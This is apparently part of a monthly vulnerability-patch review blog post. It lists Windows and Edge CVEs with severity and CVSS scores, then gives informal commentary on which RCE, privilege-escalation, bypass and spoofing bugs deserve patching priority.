CVE-2026-50389	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50456	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57084	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57091	Windows File History Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50405	Windows Filtering Platform Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49172	Windows FTP Service Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50387	Windows GDI Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54122	Windows GDI+ Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-50483	Windows Graphics Component Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58609	Windows Graphics Component Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50391	Windows Group Policy Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50310	Windows Human Interface Device Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50485	Windows Hyper-V Denial of Service Vulnerability	Important	4.5	No	No	DoS
CVE-2026-54129	Windows Hyper-V Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50315	Windows Image Acquisition Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58534	Windows Input Method Editor (IME) Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50490	Windows Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58540	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50425	Windows Internal System User Profile Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50293	Windows Internal Task Bar Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49167	Windows Kernel Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-49173	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54132	Windows Kernel Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-49795	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-49798	Windows Kernel Elevation of Privilege Vulnerability	Important	9.3	No	No	EoP
CVE-2026-49808	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50354	Windows Kernel Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50332	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50377	Windows Kernel Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50390	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50423	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50397	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50436	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50399	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50459	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50477	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50478	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50484	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50673	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58532	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50294	Windows Kernel Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-50316	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50419	Windows Kernel Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-50463	Windows Kernel Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50475	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50429	Windows Kernel Information Disclosure Vulnerability	Important	8.2	No	No	Info
CVE-2026-58614	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58545	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58602	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50393	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50396	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50378	Windows Key Guard Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50303	Windows Key Guard Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-40378	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-49799	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50371	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58544	Windows Management Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50404	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50358	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50336	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50398	Windows Media Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50414	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50379	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50433	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50676	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50677	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34349	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50394	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50415	Windows Media Information Disclosure Vulnerability	Important	5.3	No	No	Info
CVE-2026-57083	Windows Media Photo Codec Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54115	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50447	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50505	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50342	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56183	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-56187	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-58635	Windows Narrator Braille Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50500	Windows Netlogon Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50476	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50450	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56650	Windows Network File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56649	Windows Network File System Remote Code Execution Vulnerability	Important	5.9	No	No	RCE
CVE-2026-50470	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50496	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-56194	Windows NFS Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56648	Windows NFS Server Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50337	Windows Notification Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49789	Windows NTFS Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50412	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50422	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50672	Windows NTFS Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56175	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56182	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50341	Windows NTFS Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58640	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-49184	Windows NTFS Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-49797	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50308	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50386	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50309	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50313	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50388	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50448	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50471	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50461	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50417	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50482	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-50494	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50344	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50686	Windows OLE Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-50335	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50317	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54987	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50435	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50409	Windows Overlay Filter Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40400	Windows PowerShell Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-49166	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55004	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50499	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50383	Windows Print Spooler Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57085	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50469	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50434	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50339	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50430	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50334	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-44800	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50363	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50431	Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50372	Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50666	Windows Remote Access Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56647	Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50330	Windows Remote Desktop Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50376	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50504	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58533	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58535	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58546	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58539	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55003	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57979	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50445	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50497	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54126	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57982	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50369	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58626	Windows Remote Desktop Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-55014	Windows Remote Help Defense Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50318	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50407	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50357	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50441	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50668	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-54109	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49792	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49793	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50362	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50492	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50501	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58530	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49791	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50451	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-57096	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50323	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50452	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50348	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50345	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50322	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50340	Windows Runtime Elevation of Privilege Vulnerability	Important	8.5	No	No	EoP
CVE-2026-50410	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50449	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50460	Windows Runtime Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50403	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50385	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50413	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50457	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50486	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50503	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54125	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58527	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50373	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50679	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-44806	Windows Secure Channel Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-50681	Windows Secure Channel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56186	Windows Secure Channel Information Disclosure Vulnerability	Important	8.1	No	No	Info
CVE-2026-50367	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58619	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50311	Windows Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50328	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-58531	Windows SMB Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-54997	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-49801	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50690	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56168	Windows SMB Server Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50360	Windows SMB Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57089	Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50333	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50298	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49171	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-49170	Windows StateRepository API Server file Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58526	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50299	Windows Storage Spaces Direct Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-57968	Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57973	Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability	Important	6.3	No	No	Tampering
CVE-2026-50418	Windows System Secure Feature Bypass Vulnerability	Important	5.1	No	No	SFB
CVE-2026-50306	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50307	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49177	Windows TCP/IP Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50669	Windows Telephony Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54124	Windows Terminal Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50350	Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50326	Windows Unified Consent System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49790	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50498	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58547	Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-49794	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	4.6	No	No	Info
CVE-2026-50453	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-58528	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-50321	Windows USB Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50479	Windows USB Hub Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55000	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	6.4	No	No	EoP
CVE-2026-54991	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54996	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49802	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49806	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50674	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49804	Windows USB Video Driver Elevation of Privilege Vulnerability	Important	6.6	No	No	EoP
CVE-2026-50454	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49176	Windows WalletService Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49800	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50480	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56173	Windows WebView Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58632	Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54107	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-54986	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54112	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54114	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50670	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50688	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50687	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56176	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58628	Windows Wireless Network Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50295	Windows Zero Trust DNS Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-50509	Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55945	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Moderate	4.2	No	No	Info
CVE-2026-45488	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-45489	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing
CVE-2026-55145	Outlook Copilot Tampering Vulnerability	Moderate	6.3	No	No	Tampering
CVE-2026-56181	Windows Network Address Translation (NAT) Spoofing Vulnerability	Moderate	8.3	No	No	Spoofing
CVE-2026-58597	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.

I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.

Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.

That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.

The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.

And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.

There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.

There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.

The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.

